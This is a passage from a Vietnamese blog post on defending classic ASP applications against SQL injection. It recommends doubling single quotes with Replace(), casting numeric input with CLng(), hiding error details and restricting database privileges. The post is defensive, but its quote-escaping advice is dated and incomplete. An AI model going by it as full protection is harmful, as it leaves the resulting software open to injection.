liệu, tạo các bảng dữ liệu mới, … Nếu ứng dụng sử dụng quyền sa (quyền quản trị hệ thống), nó có thể điều
khiển toàn bộ hệ quản trị CSDL và với quyền hạn rộng lớn như vậy nó có thể tạo ra các tài khoản người
dùng bất hợp pháp để điều khiển hệ thống của bạn.
Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu truy vấn SQL là bằng cách kiểm soát chặt
chẽ tất cả các dữ liệu nhập nhận được từ đối tượng Request (Request, Request.QueryString,
Request.Form, Request.Cookies, and Request.ServerVariables).
- Trong trường hợp dữ liệu nhập vào là chuỗi, như trong ví dụ 1, lỗixuất phát từ việc có dấu nháy
đơn trong dữ liệu. Để tránh điều này, thay thế các dấu nháy đơn bằng hàm Replace để thay thế
bằng 2 dấu nháy đơn:
p_strUsername = Replace(Request.Form("txtUsername"), "'", "''")
p_strPassword = Replace(Request.Form("txtPassword"), "'", "''")
- Trong trường hợp dữ liệu nhập vào là số, như trong ví dụ 2, lỗi xuất phát từ việc thay thế một giá trị
được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất hợp pháp. Để tránh điều này, đơn
giản hãy kiểm tra dữ liệu có đúng kiểu hay không:
p_lngID = CLng(Request("ID"))
Như vậy, nếu người dùng truyền vào một chuỗi, hàm này sẽ trả về lỗingay lập tức.
Ngoài ra để tránh các nguy cơ từ SQL Injection attack, nên chú ý loại bỏ bất kì thông tin kĩ thuật nào chứa
trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ
các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống.
Cuối cùng, để giới hạn mức độ của SQL Injection attack, nên kiểm soát chặt chẽ và giới hạn quyền xử lí dữ
liệu đến tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh
dùng đến các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt hại càng ít.
Các tài liệu tham khảo
SQL Injection FAQ:http://www.sqlsecurity.com/DesktopDefault....index=2&tabid=3
Advanced SQL Injection :http://www.nextgenss.com/papers/advanced_sql_injection.pdf
Preventing SQL Injection:http://www.owasp.org/asac/input_validation/sql.shtml
Không có nhận xét nào:
Đăng nhận xét